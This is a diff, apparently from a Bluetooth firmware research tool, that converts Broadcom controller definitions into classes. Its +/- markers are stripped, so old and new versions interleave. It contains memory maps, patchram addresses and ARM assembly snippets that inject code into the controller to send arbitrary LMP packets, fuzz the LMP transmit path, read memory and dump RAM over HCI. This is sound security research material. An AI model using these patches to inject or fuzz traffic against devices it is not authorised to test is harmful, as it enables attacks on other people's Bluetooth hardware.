// store sp
mov r1, 56 // 14 saved registers * 4
add r1, sp
str r1, [r0]
add r0, 4 // advance the pointer.
// store status register
str r5, [r0]
add r0, 4 // advance the pointer.
// store other registers
mov r1, sp
mov r2, 56
bl 0xAF0BC // memcpy(dst, src, len)
// send HCI buffer to the host
mov r0, r4 // r4 still points to the beginning of the HCI buffer
bl 0xF782 // hci_sendEvent
// restore status register
msr cpsr_f, r5
bl 0x2D702 // bthci_event_vs_DBFW_CoreDumpRAMImageEvent
mov lr, r8 // restore lr from r8
bx lr // return
"""
+22 -16
View File
@@ -20,22 +20,28 @@
# out of or in connection with the Software or the use or other dealings in the
# Software.
from fw import MemorySection
from __future__ import absolute_import
from .fw import MemorySection, FirmwareDefinition
# Firmware Infos
# iPhone 8/X/XR
FW_NAME = "BCM4347B1"
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [ MemorySection(0x00000000, 0x00103fff, True, False), # Internal ROM
MemorySection(0x00130000, 0x0014ffff, False, True), # Internal Memory Patchram Contents
MemorySection(0x00200000, 0x0024ffff, False, True), # Internal Memory Cortex M3
]
class BCM4347B1(FirmwareDefinition):
# Firmware Infos
# iPhone 8/X/XR
FW_NAME = "BCM4347B1"
# Patchram
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310404
PATCHRAM_VALUE_TABLE_ADDRESS = 0x130000
PATCHRAM_NUMBER_OF_SLOTS = 256
PATCHRAM_ALIGNED = False
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [
MemorySection(0x00000000, 0x00103FFF, True, False), # Internal ROM
MemorySection(
0x00130000, 0x0014FFFF, False, True
), # Internal Memory Patchram Contents
MemorySection(0x00200000, 0x0024FFFF, False, True), # Internal Memory Cortex M3
]
# Patchram
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310404
PATCHRAM_VALUE_TABLE_ADDRESS = 0x130000
PATCHRAM_NUMBER_OF_SLOTS = 256
PATCHRAM_ALIGNED = False
+15 -12
View File
@@ -1,6 +1,6 @@
#!/usr/bin/env python2
#!/usr/bin/env python
# MacBook 15" early 2011 tested with Ubuntu
# MacBook 15" early 2011 tested with Ubuntu
#
# Generic firmware file in case we do not know something...
#
@@ -22,16 +22,19 @@
# out of or in connection with the Software or the use or other dealings in the
# Software.
from fw import MemorySection
from .fw import MemorySection, FirmwareDefinition
# Firmware Infos
FW_NAME = "BCM2070B0 (MacBook Pro 2011)"
# Build date: Jul 9 2008
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [ MemorySection(0x0, 0x58000, True , False),
MemorySection(0x80000, 0x9b000, False, True ),
]
class BCM2070B0(FirmwareDefinition):
# Firmware Infos
FW_NAME = "BCM2070B0 (MacBook Pro 2011)"
# Build date: Jul 9 2008
BLOC_HEAD = 0x88518
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [
MemorySection(0x0, 0x58000, True, False),
MemorySection(0x80000, 0x9B000, False, True),
]
BLOC_HEAD = 0x88518
+34 -24
View File
@@ -1,4 +1,4 @@
#!/usr/bin/env python2
#!/usr/bin/env python
# fw_0x6103.py
#
@@ -20,29 +20,39 @@
# out of or in connection with the Software or the use or other dealings in the
# Software.
from fw import MemorySection
from __future__ import absolute_import
from .fw import MemorySection, FirmwareDefinition
# Firmware Infos
# This runs on an iPhone 7
FW_NAME = "BCM4355C0"
# Device Infos
DEVICE_NAME = 0x204c60
class BCM4355C0(FirmwareDefinition):
# Firmware Infos
# This runs on an iPhone 7
FW_NAME = "BCM4355C0"
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [ MemorySection(0x0, 0x90000, True , False),
MemorySection(0xd0000, 0xd8000, False, True ),
#MemorySection(0xe0000, 0x1f0000, True , False),
MemorySection(0x200000, 0x228000, False, True ),
MemorySection(0x260000, 0x268000, True , False),
#MemorySection(0x280000, 0x2a0000, True , False),
MemorySection(0x318000, 0x320000, False, False),
MemorySection(0x324000, 0x360000, False, False),
MemorySection(0x362000, 0x362100, False, False),
MemorySection(0x363000, 0x363100, False, False),
MemorySection(0x600000, 0x600800, False, False),
MemorySection(0x640000, 0x640800, False, False),
MemorySection(0x650000, 0x650800, False, False),
#MemorySection(0x680000, 0x800000, False, False)
]
# Device Infos
DEVICE_NAME = 0x204C60
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [
MemorySection(0x0, 0x90000, True, False),
MemorySection(0xD0000, 0xD8000, False, True),
# MemorySection(0xe0000, 0x1f0000, True , False),
MemorySection(0x200000, 0x228000, False, True),
MemorySection(0x260000, 0x268000, True, False),
# MemorySection(0x280000, 0x2a0000, True , False),
MemorySection(0x318000, 0x320000, False, False),
MemorySection(0x324000, 0x360000, False, False),
MemorySection(0x362000, 0x362100, False, False),
MemorySection(0x363000, 0x363100, False, False),
MemorySection(0x600000, 0x600800, False, False),
MemorySection(0x640000, 0x640800, False, False),
MemorySection(0x650000, 0x650800, False, False),
# MemorySection(0x680000, 0x800000, False, False)
]
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310204
PATCHRAM_VALUE_TABLE_ADDRESS = 0xD0000
PATCHRAM_NUMBER_OF_SLOTS = 192
PATCHRAM_ALIGNED = False
+361 -342
View File
@@ -1,4 +1,4 @@
#!/usr/bin/env python2
#!/usr/bin/env python
# fw_0x6109.py
#
@@ -25,362 +25,381 @@
# out of or in connection with the Software or the use or other dealings in the
# Software.
from fw import MemorySection
# Firmware Infos
# This runs on Nexus 5, Xperia Z3, Samsung Galaxy Note 3
FW_NAME = "BCM4335C0"
# Device Infos
DEVICE_NAME = 0x2178B4 # [type: 1byte] [len: 1byte] [name: len byte]
BD_ADDR = 0x210C2C
from __future__ import absolute_import
from .fw import MemorySection, FirmwareDefinition
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [ MemorySection(0x0, 0x90000, True , False),
MemorySection(0xd0000, 0xd8000, False, True ),
#MemorySection(0xe0000, 0x1f0000, True , False),
MemorySection(0x200000, 0x228000, False, True ),
MemorySection(0x260000, 0x268000, True , False),
#MemorySection(0x280000, 0x2a0000, True , False),
MemorySection(0x318000, 0x320000, False, False),
MemorySection(0x324000, 0x360000, False, False),
MemorySection(0x362000, 0x362100, False, False),
MemorySection(0x363000, 0x363100, False, False),
MemorySection(0x600000, 0x600800, False, False),
MemorySection(0x640000, 0x640800, False, False),
MemorySection(0x650000, 0x650800, False, False),
#MemorySection(0x680000, 0x800000, False, False)
]
class BCM4335C0(FirmwareDefinition):
# Firmware Infos
# This runs on Nexus 5, Xperia Z3, Samsung Galaxy Note 3
FW_NAME = "BCM4335C0"
# BLOC struct head which points to the first bloc struct (double-linked list)
BLOC_HEAD = 0x203094
# Device Infos
DEVICE_NAME = 0x2178B4 # [type: 1byte] [len: 1byte] [name: len byte]
BD_ADDR = 0x210C2C
# QUEU struct head which points to the first queue struct (double-linked list)
QUEUE_HEAD = 0x20307C
QUEUE_NAMES = ["tran_HCIEvent", "tran_ACLData", "tran_SCOData", "tran_UartBridgeNonHCIEvent", "tran_DiagData",
"tran_HIDUsbKBEvt", "tran_HIDUsbMSEvt", "tran_HIDUsbMSCtrl", "tran_HIDUsbKBCtrl", "tran_HidAuxData",
"lm_Cmd", "hci_HciCommand", "lm_deferredAction", "lrmmsm_cmd", "liteHostEvent", "litehostRcvdL2capData"
]
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [
MemorySection(0x0, 0x90000, True, False),
MemorySection(0xD0000, 0xD8000, False, True),
# MemorySection(0xe0000, 0x1f0000, True , False),
MemorySection(0x200000, 0x228000, False, True),
MemorySection(0x260000, 0x268000, True, False),
# MemorySection(0x280000, 0x2a0000, True , False),
MemorySection(0x318000, 0x320000, False, False),
MemorySection(0x324000, 0x360000, False, False),
MemorySection(0x362000, 0x362100, False, False),
MemorySection(0x363000, 0x363100, False, False),
MemorySection(0x600000, 0x600800, False, False),
MemorySection(0x640000, 0x640800, False, False),
MemorySection(0x650000, 0x650800, False, False),
# MemorySection(0x680000, 0x800000, False, False)
]
# BLOC struct head which points to the first bloc struct (double-linked list)
BLOC_HEAD = 0x203094
# Connection Structure and Table
CONNECTION_ARRAY_ADDRESS = 0x002038E8
CONNECTION_MAX = 11
CONNECTION_STRUCT_LENGTH = 0x14C
# QUEU struct head which points to the first queue struct (double-linked list)
QUEUE_HEAD = 0x20307C
QUEUE_NAMES = [
"tran_HCIEvent",
"tran_ACLData",
"tran_SCOData",
"tran_UartBridgeNonHCIEvent",
"tran_DiagData",
"tran_HIDUsbKBEvt",
"tran_HIDUsbMSEvt",
"tran_HIDUsbMSCtrl",
"tran_HIDUsbKBCtrl",
"tran_HidAuxData",
"lm_Cmd",
"hci_HciCommand",
"lm_deferredAction",
"lrmmsm_cmd",
"liteHostEvent",
"litehostRcvdL2capData",
]
# Connection Structure and Table
CONNECTION_ARRAY_ADDRESS = 0x002038E8
CONNECTION_MAX = 11
CONNECTION_STRUCT_LENGTH = 0x14C
# Patchram
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310204
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
PATCHRAM_VALUE_TABLE_ADDRESS = 0xd0000
PATCHRAM_NUMBER_OF_SLOTS = 128
PATCHRAM_ALIGNED = True #use readMemAligned, not accessible via ReadRAM HCI command on Nexus 5
# Patchram
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310204
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
PATCHRAM_VALUE_TABLE_ADDRESS = 0xD0000
PATCHRAM_NUMBER_OF_SLOTS = 128
PATCHRAM_ALIGNED = (
True # use readMemAligned, not accessible via ReadRAM HCI command on Nexus 5
)
# Snippet for sendLcpPacket()
SENDLCP_CODE_BASE_ADDRESS = 0x00211900
SENDLCP_ASM_CODE = """
push {r4,lr}
// we want to call lmulp_sendLcp(conn_index, input, length)
mov r0, %d // connection index, starts at 0
ldr r1, =payload
mov r2, %d // length
bl 0x66760 // lmulp_sendLcp
pop {r4,pc} // go back
.align // The payload (LMP packet) must be 4-byte aligend (memcpy needs aligned addresses)
payload: // Note: the payload will be appended here by the sendLmpPacket() function
"""
# Snippet for sendLcpPacket()
SENDLCP_CODE_BASE_ADDRESS = 0x00211900
SENDLCP_ASM_CODE = """
push {r4,lr}
// we want to call lmulp_sendLcp(conn_index, input, length)
mov r0, %d // connection index, starts at 0
ldr r1, =payload
mov r2, %d // length
bl 0x66760 // lmulp_sendLcp
pop {r4,pc} // go back
# Snippet for sendLmpPacketLegacy()
SENDLMP_CODE_BASE_ADDRESS = 0xD7500
SENDLMP_ASM_CODE = """
push {r4,lr}
// malloc buffer for LMP packet
bl 0x3F17E // malloc_0x20_bloc_buffer_memzero
mov r4, r0 // store buffer for LMP packet inside r4
// fill buffer
add r0, 0xC // The actual LMP packet must start at offset 0xC in the buffer.
// The first 12 bytes are (supposely?) unused and remain zero.
ldr r1, =payload // LMP packet is stored at the end of the snippet
mov r2, 20 // Max. size of an LMP packet is 19 (I guess). The send_LMP_packet
// function will use the LMP opcode to lookup the actual size and
// use it for actually transmitting the correct number of bytes.
bl 0x2e03c // memcpy
// load conn struct pointer (needed for determine if we are master or slave)
mov r0, %d // connection number is injected by sendLmpPacket()
bl 0x42c04 // find connection struct from conn nr (r0 will hold pointer to conn struct)
// set tid bit if we are the slave
ldr r1, [r0, 0x1c] // Load a bitmap from the connection struct into r1.
lsr r1, 15 // The 'we are master'-bit is at position 15 of this bitmap
and r1, 0x1 // isolate the bit to get the correct value for the TID bit
ldr r2, [r4, 0xC] // Load the LMP opcode into r2. Note: The opcode was already shifted
// left by 1 bit (done by sendLmpPacket()). The TID bit goes into
// the LSB (least significant bit) of this shifted opcode byte.
orr r2, r1 // insert the TID bit into the byte
str r2, [r4, 0xC] // Store the byte back into the LMP packet buffer
// send LMP packet
mov r1, r4 // load the address of the LMP packet buffer into r1.
// r0 still contains the connection number.
pop {r4,lr} // restore r4 and the lr
b 0xf81a // branch to send_LMP_packet. send_LMP_packet will do the return for us.
.align // The payload (LMP packet) must be 4-byte aligend (memcpy needs aligned addresses)
payload: // Note: the payload will be appended here by the sendLmpPacket() function
"""
.align // The payload (LMP packet) must be 4-byte aligend (memcpy needs aligned addresses)
payload: // Note: the payload will be appended here by the sendLmpPacket() function
# Snippet for fuzzLmp()
FUZZLMP_HOOK_ADDRESS = 0x1E48C # execute standard SendLmpPdu HCI to fill parameters
FUZZLMP_CODE_BASE_ADDRESS = 0xD7500
FUZZLMP_ASM_CODE = """
// This hook is put into the end of bthci_cmd_vs_SendLmpPdu_1E45A,
// so command parsing is still performed as normal. We jump in
// before bthci_cmd_vs_SendLmpPdu pops and calls DHM_LMPTx.
// put length argument into table_entry
// payload[5] holds the size argument
ldr r7, =table_entry
add r7, #4 // length offset within table entry
ldrb r6, [r4, #5]
strb r6, [r7]
// we need to do the original pop...
pop {r4-r8, lr}
// now we simply continue like the original DHM_LMPTx function
push {r4-r10, lr} // code at 0xF81A
mov r8, r0
movs r4, r1
// part of the check if hook_LMP_TxFilter_200D38 is installed
ldr.w r9, =0x200D80
sub.w r9, r9, #0x50
ldr.w r2, [r9, #8]
mov r1, r4 // code at 0xF840
mov r0, r8
bl 0x50050 // rm_getDHMAclPtr_50050
cmp r0, #1
// skip check if we actually got a ptr
// get connection struct, code at 0xF850
ldr r0, =0x206eac // table_for_bt_tx_structs_206EAC
ldr.w r7, [r8]
add.w r6, r0, r7, lsl #5
ldrb r0, [r6, #0x1f]
cmp r0, #1
// skip check in conection struct
ldrb r0, [r4, #0xc] // ptr_to_opcode = buffer_cpy + 12;
lsrs r1, r0, #1 // buffer_cpy[12] >> 1
add.w r0, r4, #0x0c
// enable for debugging: ignore the remaining code and continue like normal opcode
//b 0xF870
// now we regularily would call the opcode conversion table function
// however, we do not use lm_getLmpInfoType_3F2D8 but insert our own table here
ldr r1, =table_entry // table_ptr with exactly one entry, so no offsets included here
ldr r0, =table_entry
// branch back to DHM_LMPTx position after bl lm_getLmpInfoType
b 0xF874
.align
table_entry:
.byte 0x35 //nullsub1+1
.byte 0xAC
.byte 0x00
.byte 0x00
.byte 0x20 //length, will be overwritten by us anyways, but can not be longer than one buffer (0x20)
.byte 0x00
.byte 0x00
.byte 0x00
"""
# Assembler snippet for the readMemAligned() function
READ_MEM_ALIGNED_ASM_LOCATION = 0xD7900
READ_MEM_ALIGNED_ASM_SNIPPET = """
push {r4, lr}
// malloc HCI event buffer
mov r0, 0xff // event code is 0xff (vendor specific HCI Event)
mov r1, %d // readMemAligned() injects the number of bytes it wants to read here
add r1, 6 // + type and length + 'READ'
bl 0x7AFC // malloc_hci_event_buffer (will automatically copy event code and length into the buffer)
mov r4, r0 // save pointer to the buffer in r4
// append our custom header (the word 'READ') after the event code and event length field
add r0, 2 // write after the length field
ldr r1, =0x44414552 // 'READ'
str r1, [r0]
add r0, 4 // advance the pointer. r0 now points to the beginning of our read data
// copy data to buffer
ldr r1, =0x%x // readMemAligned() injects the read_address here. r1 will be used as src pointer in the loop
mov r2, %d // readMemAligned() injects the number of dwords to read here. r2 will be the loop counter
loop:
ldr r3, [r1] // read 4 bytes from the read_address
str r3, [r0] // store them inside the HCI buffer
add r0, 4 // advance the buffer pointer
add r1, 4 // advance the read_address
subs r2, 1 // decrement the loop variable
bne loop // branch if r2 is not zero yet
// send HCI buffer to the host
mov r0, r4 // r4 still points to the beginning of the HCI buffer
bl 0x398c1 // send_hci_event_without_free()
// free HCI buffer
mov r0, r4
bl 0x3FA36 // free_bloc_buffer_aligned
pop {r4, pc} // return
"""
# Snippet for sendLmpPacketLegacy()
SENDLMP_CODE_BASE_ADDRESS = 0xd7500
SENDLMP_ASM_CODE = """
push {r4,lr}
// malloc buffer for LMP packet
bl 0x3F17E // malloc_0x20_bloc_buffer_memzero
mov r4, r0 // store buffer for LMP packet inside r4
// fill buffer
add r0, 0xC // The actual LMP packet must start at offset 0xC in the buffer.
// The first 12 bytes are (supposely?) unused and remain zero.
ldr r1, =payload // LMP packet is stored at the end of the snippet
mov r2, 20 // Max. size of an LMP packet is 19 (I guess). The send_LMP_packet
// function will use the LMP opcode to lookup the actual size and
// use it for actually transmitting the correct number of bytes.
bl 0x2e03c // memcpy
// load conn struct pointer (needed for determine if we are master or slave)
mov r0, %d // connection number is injected by sendLmpPacket()
bl 0x42c04 // find connection struct from conn nr (r0 will hold pointer to conn struct)
// set tid bit if we are the slave
ldr r1, [r0, 0x1c] // Load a bitmap from the connection struct into r1.
lsr r1, 15 // The 'we are master'-bit is at position 15 of this bitmap
and r1, 0x1 // isolate the bit to get the correct value for the TID bit
ldr r2, [r4, 0xC] // Load the LMP opcode into r2. Note: The opcode was already shifted
// left by 1 bit (done by sendLmpPacket()). The TID bit goes into
// the LSB (least significant bit) of this shifted opcode byte.
orr r2, r1 // insert the TID bit into the byte
str r2, [r4, 0xC] // Store the byte back into the LMP packet buffer
// send LMP packet
mov r1, r4 // load the address of the LMP packet buffer into r1.
// r0 still contains the connection number.
pop {r4,lr} // restore r4 and the lr
b 0xf81a // branch to send_LMP_packet. send_LMP_packet will do the return for us.
.align // The payload (LMP packet) must be 4-byte aligend (memcpy needs aligned addresses)
payload: // Note: the payload will be appended here by the sendLmpPacket() function
"""
# Snippet for fuzzLmp()
FUZZLMP_HOOK_ADDRESS = 0x1e48c # execute standard SendLmpPdu HCI to fill parameters
FUZZLMP_CODE_BASE_ADDRESS = 0xd7500
FUZZLMP_ASM_CODE = """
// This hook is put into the end of bthci_cmd_vs_SendLmpPdu_1E45A,
// so command parsing is still performed as normal. We jump in
// before bthci_cmd_vs_SendLmpPdu pops and calls DHM_LMPTx.
// put length argument into table_entry
// payload[5] holds the size argument
ldr r7, =table_entry
add r7, #4 // length offset within table entry
ldrb r6, [r4, #5]
strb r6, [r7]
// we need to do the original pop...
pop {r4-r8, lr}
// now we simply continue like the original DHM_LMPTx function
push {r4-r10, lr} // code at 0xF81A
mov r8, r0
movs r4, r1
// part of the check if hook_LMP_TxFilter_200D38 is installed
ldr.w r9, =0x200D80
sub.w r9, r9, #0x50
ldr.w r2, [r9, #8]
mov r1, r4 // code at 0xF840
mov r0, r8
bl 0x50050 // rm_getDHMAclPtr_50050
cmp r0, #1
// skip check if we actually got a ptr
// get connection struct, code at 0xF850
ldr r0, =0x206eac // table_for_bt_tx_structs_206EAC
ldr.w r7, [r8]
add.w r6, r0, r7, lsl #5
ldrb r0, [r6, #0x1f]
cmp r0, #1
// skip check in conection struct
ldrb r0, [r4, #0xc] // ptr_to_opcode = buffer_cpy + 12;
lsrs r1, r0, #1 // buffer_cpy[12] >> 1
add.w r0, r4, #0x0c
// enable for debugging: ignore the remaining code and continue like normal opcode
//b 0xF870
// now we regularily would call the opcode conversion table function
// however, we do not use lm_getLmpInfoType_3F2D8 but insert our own table here
ldr r1, =table_entry // table_ptr with exactly one entry, so no offsets included here
ldr r0, =table_entry
// branch back to DHM_LMPTx position after bl lm_getLmpInfoType
b 0xF874
.align
table_entry:
.byte 0x35 //nullsub1+1
.byte 0xAC
.byte 0x00
.byte 0x00
.byte 0x20 //length, will be overwritten by us anyways, but can not be longer than one buffer (0x20)
.byte 0x00
.byte 0x00
.byte 0x00
"""
# Assembler snippet for the readMemAligned() function
READ_MEM_ALIGNED_ASM_LOCATION = 0xd7900
READ_MEM_ALIGNED_ASM_SNIPPET = """
push {r4, lr}
// malloc HCI event buffer
mov r0, 0xff // event code is 0xff (vendor specific HCI Event)
mov r1, %d // readMemAligned() injects the number of bytes it wants to read here
add r1, 6 // + type and length + 'READ'
bl 0x7AFC // malloc_hci_event_buffer (will automatically copy event code and length into the buffer)
mov r4, r0 // save pointer to the buffer in r4
// append our custom header (the word 'READ') after the event code and event length field
add r0, 2 // write after the length field
ldr r1, =0x44414552 // 'READ'
str r1, [r0]
add r0, 4 // advance the pointer. r0 now points to the beginning of our read data
// copy data to buffer
ldr r1, =0x%x // readMemAligned() injects the read_address here. r1 will be used as src pointer in the loop
mov r2, %d // readMemAligned() injects the number of dwords to read here. r2 will be the loop counter
loop:
ldr r3, [r1] // read 4 bytes from the read_address
str r3, [r0] // store them inside the HCI buffer
add r0, 4 // advance the buffer pointer
add r1, 4 // advance the read_address
subs r2, 1 // decrement the loop variable
bne loop // branch if r2 is not zero yet
// send HCI buffer to the host
mov r0, r4 // r4 still points to the beginning of the HCI buffer
bl 0x398c1 // send_hci_event_without_free()
// free HCI buffer
mov r0, r4
bl 0x3FA36 // free_bloc_buffer_aligned
pop {r4, pc} // return
# Assembler snippet for tracepoints
TRACEPOINT_BODY_ASM_LOCATION = 0xD7A00
TRACEPOINT_HOOKS_LOCATION = 0xD7B00
TRACEPOINT_HOOK_SIZE = 28
TRACEPOINT_HOOK_ASM = """
push {r0-r12, lr} // save all registers on the stack (except sp and pc)
ldr r6, =0x%x // addTracepoint() injects pc of original tracepoint here
mov r7, %d // addTracepoint() injects the patchram slot of the hook patch
bl 0x%x // addTracepoint() injects TRACEPOINT_BODY_ASM_LOCATION here
pop {r0-r12, lr} // restore registers
// branch back to the original instruction
b 0x%x // addTracepoint() injects the address of the tracepoint
"""
# Assembler snippet for tracepoints
TRACEPOINT_BODY_ASM_LOCATION = 0xd7a00
TRACEPOINT_HOOKS_LOCATION = 0xd7b00
TRACEPOINT_HOOK_SIZE = 28
TRACEPOINT_HOOK_ASM = """
push {r0-r12, lr} // save all registers on the stack (except sp and pc)
ldr r6, =0x%x // addTracepoint() injects pc of original tracepoint here
mov r7, %d // addTracepoint() injects the patchram slot of the hook patch
bl 0x%x // addTracepoint() injects TRACEPOINT_BODY_ASM_LOCATION here
pop {r0-r12, lr} // restore registers
// branch back to the original instruction
b 0x%x // addTracepoint() injects the address of the tracepoint
"""
TRACEPOINT_RAM_DUMP_PKT_COUNT = 670 # <ramsize> / <packetsize> where packetsize is 244
TRACEPOINT_BODY_ASM_SNIPPET = """
mov r8, lr // save link register in r8
// save status register in r5
mrs r5, cpsr
// malloc HCI event buffer
mov r0, 0xff // event code is 0xff (vendor specific HCI Event)
mov r1, 76 // buffer size: size of registers (68 bytes) + type and length + 'TRACE_'
bl 0x7AFC // malloc_hci_event_buffer (will automatically copy event code and length into the buffer)
mov r4, r0 // save pointer to the buffer in r4
// append our custom header (the word 'TRACE_') after the event code and event length field
add r0, 2 // write after the length field
ldr r1, =0x43415254 // 'TRAC'
str r1, [r0]
add r0, 4 // advance the pointer.
ldr r1, =0x5f45 // 'E_'
strh r1, [r0]
add r0, 2 // advance the pointer. r0 now points to the start of the register values
// store pc
str r6, [r0] // r6 still contains the address of the original pc
add r0, 4 // advance the pointer.
// store sp
mov r1, 56 // 14 saved registers * 4
add r1, sp
str r1, [r0]
add r0, 4 // advance the pointer.
// store status register
str r5, [r0]
add r0, 4 // advance the pointer.
// store other registers
mov r1, sp
mov r2, 56
bl 0x2e03c+1 // memcpy(dst, src, len)
// send HCI buffer to the host
mov r0, r4 // r4 still points to the beginning of the HCI buffer
bl 0x398c1 // send_hci_event_without_free()
// free HCI buffer
mov r0, r4
bl 0x3FA36 // free_bloc_buffer_aligned
mov r0, r7 // r7 still contains the patchram slot number
bl 0x311AA // disable_patchram_slot(slot)
// restore status register
msr cpsr_f, r5
// dump ram
bl dump_ram
mov lr, r8 // restore lr from r8
bx lr // return
// function to dump the RAM as multiple HCI packets:
dump_ram:
push {r4-r6,lr}
// malloc HCI event buffer
mov r0, 0xff // event code is 0xff (vendor specific HCI Event)
mov r1, 252 // buffer size
bl 0x7AFC // malloc_hci_event_buffer (will automatically copy event code and length into the buffer)
mov r4, r0 // save pointer to the buffer in r4
// append our custom header (the word 'RAM___') after the event code and event length field
add r0, 2 // write after the length field
ldr r1, =0x5f4d4152 // 'RAM_'
str r1, [r0]
add r0, 4 // advance the pointer.
ldr r1, =0x5f5f // '__'
strh r1, [r0]
add r0, 2 // advance the pointer. r0 now points to the start of the actual payload
mov r5, 0x200000 // start of ram
ldr r6, =%d // number of ramdump packets to be sent
dump_ram_loop:
// Set r0 to point to the beginning of the payload in the hci buffer
mov r0, r4
add r0, 8
// store current address
str r5, [r0] // r5 contains the address in RAM which is send next
TRACEPOINT_RAM_DUMP_PKT_COUNT = (
670 # <ramsize> / <packetsize> where packetsize is 244
)
TRACEPOINT_BODY_ASM_SNIPPET = (
"""
mov r8, lr // save link register in r8
// save status register in r5
mrs r5, cpsr
// malloc HCI event buffer
mov r0, 0xff // event code is 0xff (vendor specific HCI Event)
mov r1, 76 // buffer size: size of registers (68 bytes) + type and length + 'TRACE_'
bl 0x7AFC // malloc_hci_event_buffer (will automatically copy event code and length into the buffer)
mov r4, r0 // save pointer to the buffer in r4
// append our custom header (the word 'TRACE_') after the event code and event length field
add r0, 2 // write after the length field
ldr r1, =0x43415254 // 'TRAC'
str r1, [r0]
add r0, 4 // advance the pointer.
ldr r1, =0x5f45 // 'E_'
strh r1, [r0]
add r0, 2 // advance the pointer. r0 now points to the start of the register values
// store pc
str r6, [r0] // r6 still contains the address of the original pc
add r0, 4 // advance the pointer.
// copy ram to hci buffer
mov r1, r5
mov r2, 244
bl 0x2e03c // memcpy
// store sp
mov r1, 56 // 14 saved registers * 4
add r1, sp
str r1, [r0]
add r0, 4 // advance the pointer.
// store status register
str r5, [r0]
add r0, 4 // advance the pointer.
// store other registers
mov r1, sp
mov r2, 56
bl 0x2e03c+1 // memcpy(dst, src, len)
// send HCI buffer to the host
mov r0, r4 // r4 still points to the beginning of the HCI buffer
bl 0x398c1 // send_hci_event_without_free()
// delay loop; Workaround: without the delay, a lot of packets are not actually sent
// through HCI.
mov r0, 0x1000
delay_loop:
subs r0, 1
bne delay_loop
// increment the RAM pointer; decrement the counter
add r5, 244
subs r6, 1
bne dump_ram_loop
// free HCI buffer
mov r0, r4
bl 0x3FA36 // free_bloc_buffer_aligned
pop {r4-r6,pc}
""" % TRACEPOINT_RAM_DUMP_PKT_COUNT
// free HCI buffer
mov r0, r4
bl 0x3FA36 // free_bloc_buffer_aligned
mov r0, r7 // r7 still contains the patchram slot number
bl 0x311AA // disable_patchram_slot(slot)
// restore status register
msr cpsr_f, r5
// dump ram
bl dump_ram
mov lr, r8 // restore lr from r8
bx lr // return
// function to dump the RAM as multiple HCI packets:
dump_ram:
push {r4-r6,lr}
// malloc HCI event buffer
mov r0, 0xff // event code is 0xff (vendor specific HCI Event)
mov r1, 252 // buffer size
bl 0x7AFC // malloc_hci_event_buffer (will automatically copy event code and length into the buffer)
mov r4, r0 // save pointer to the buffer in r4
// append our custom header (the word 'RAM___') after the event code and event length field
add r0, 2 // write after the length field
ldr r1, =0x5f4d4152 // 'RAM_'
str r1, [r0]
add r0, 4 // advance the pointer.
ldr r1, =0x5f5f // '__'
strh r1, [r0]
add r0, 2 // advance the pointer. r0 now points to the start of the actual payload
mov r5, 0x200000 // start of ram
ldr r6, =%d // number of ramdump packets to be sent
dump_ram_loop:
// Set r0 to point to the beginning of the payload in the hci buffer
mov r0, r4
add r0, 8
// store current address
str r5, [r0] // r5 contains the address in RAM which is send next
add r0, 4 // advance the pointer.
// copy ram to hci buffer
mov r1, r5
mov r2, 244
bl 0x2e03c // memcpy
// send HCI buffer to the host
mov r0, r4 // r4 still points to the beginning of the HCI buffer
bl 0x398c1 // send_hci_event_without_free()
// delay loop; Workaround: without the delay, a lot of packets are not actually sent
// through HCI.
mov r0, 0x1000
delay_loop:
subs r0, 1
bne delay_loop
// increment the RAM pointer; decrement the counter
add r5, 244
subs r6, 1
bne dump_ram_loop
// free HCI buffer
mov r0, r4
bl 0x3FA36 // free_bloc_buffer_aligned
pop {r4-r6,pc}
"""
% TRACEPOINT_RAM_DUMP_PKT_COUNT
)
+55 -54
View File
@@ -1,4 +1,4 @@
#!/usr/bin/env python2
#!/usr/bin/env python
# fw_0x6119.py
#
@@ -27,66 +27,67 @@
# Firmware Infos
# This runs on Rasperry Pi 3+
FW_NAME = "BCM4345C0"
# Device Infos
DEVICE_NAME = 0x204954
# Memory Sections
class MemorySection:
def __init__(self, start_addr, end_addr, is_rom, is_ram):
self.start_addr = start_addr
self.end_addr = end_addr
self.is_rom = is_rom
self.is_ram = is_ram
from __future__ import absolute_import
from .fw import MemorySection, FirmwareDefinition
def size(self):
return self.end_addr - self.start_addr
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [ MemorySection(0x0, 0x90000, True , False),
MemorySection(0xd0000, 0xd8000, False, True ),
#MemorySection(0xe0000, 0x1f0000, True , False),
MemorySection(0x200000, 0x228000, False, True ),
MemorySection(0x260000, 0x268000, True , False),
#MemorySection(0x280000, 0x2a0000, True , False),
MemorySection(0x318000, 0x320000, False, False),
MemorySection(0x324000, 0x360000, False, False),
MemorySection(0x362000, 0x362100, False, False),
MemorySection(0x363000, 0x363100, False, False),
MemorySection(0x600000, 0x600800, False, False),
MemorySection(0x640000, 0x640800, False, False),
MemorySection(0x650000, 0x650800, False, False),
#MemorySection(0x680000, 0x800000, False, False)
]
class BCM4345C0(FirmwareDefinition):
FW_NAME = "BCM4345C0"
# Connection Structure and Table
CONNECTION_ARRAY_ADDRESS = 0x204ba8
CONNECTION_MAX = 11
CONNECTION_STRUCT_LENGTH = 0x150
# Device Infos
DEVICE_NAME = 0x204954
# Patchram
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310204
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
PATCHRAM_VALUE_TABLE_ADDRESS = 0xd0000
PATCHRAM_NUMBER_OF_SLOTS = 128
PATCHRAM_ALIGNED = False
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [
